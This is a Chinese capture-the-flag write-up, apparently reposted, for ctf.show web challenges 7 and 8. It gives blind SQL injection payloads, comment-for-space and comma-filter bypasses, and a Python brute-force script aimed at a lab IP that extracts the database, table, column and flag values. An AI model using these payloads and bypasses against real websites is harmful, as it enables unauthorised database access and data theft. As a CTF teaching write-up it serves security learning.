CTF show WEB7,8

admin 2022年1月5日23:00:43评论46 views字数 1480阅读4分56秒阅读模式

>

>

CTF show WEB7,8

_yu_

题目网站https://ctf.show

web7

点开其中一篇文章,发现可能存在的注入点,输入单引号正常显示,输入双引号无回显,猜测为字符型单引号注入,其中空格被过滤。

使用sleep函数测试注入点id=-1'or/**/sleep(3)#
发现存在延时证明存在注入点,通过有无文章来判断字符。接下来进行sql注入。

1.爆库名(web7)
当输入为id=-1'/**/or/**/ascii(substr(database(),1,1))=119#时出现文章内容,证明库名的第一个字符为‘w’,以此类推。

2.爆表名(flag,page,user)

id=-1'/**/or/**/ascii(substr((select/**/table_name/**/from/**/information_schema.tables/**/where/**/table_schema=database()/**/limit/**/0,1),1,1))=102#

3.爆字段(flag)
id=-1'/**/or/**/ascii(substr((select/**/column_name/**/from/**/information_schema.columns/**/where/**/table_name="flag"/**/limit/**/0,1),1,1))=102#

4.爆字段值
id=-1'/**/or/**/ascii(substr((select/**/flag/**/from/**/flag/**/limit/**/0,1),1,1))=102#

附:python脚本

url = "http://124.156.121.112:28069/?id=-1'/**/"
def db(url):					#爆库名
    for i in range(1,5):
        for j in range(32,128):
            u= "or/**/ascii(substr(database()/**/from/**/"+str(i)+"/**/for/**/1))="+str(j)+"#"
            s = url+u
            print(s)
            r =  requests.get(s)
            if 'By Rudyard Kipling' in r.text:
                print(chr(j))
                
def table(url):					#爆表名
    for i in range(4):
        table_name=''
        for j in range(1,6):
            for k in range(48,128):
                u=id="||/**/ascii(substr((select/**/table_name/**/from/**/information_schema.tables/**/where/**/table_schema=database()/**/limit/**/1/**/offset/**/"+str(i)+")/**/from/**/"+str(j)+"/**/for/**/1))="+str(k)+"#"
                s = url+u
                print(s)
                r =  requests.get(s)            
                if 'By Rudyard Kipling' in r.text:
                    table_name+=chr(k)
            print(table_name)

爆字段名和值可以在爆表名的基础上修改。

web8

在上一题的基础上增加了逗号的过滤
绕过方法:
1.将limit 0,1样式改为limit 1 offset 0。
2.将substr(string,1,1)改为substr(string from 1 for 1)。

如有错误或者更好的方法欢迎在留言中提出。


  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2022年1月5日23:00:43
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   CTF show WEB7,8http://cn-sec.com/archives/719763.html

发表评论

匿名网友 填写信息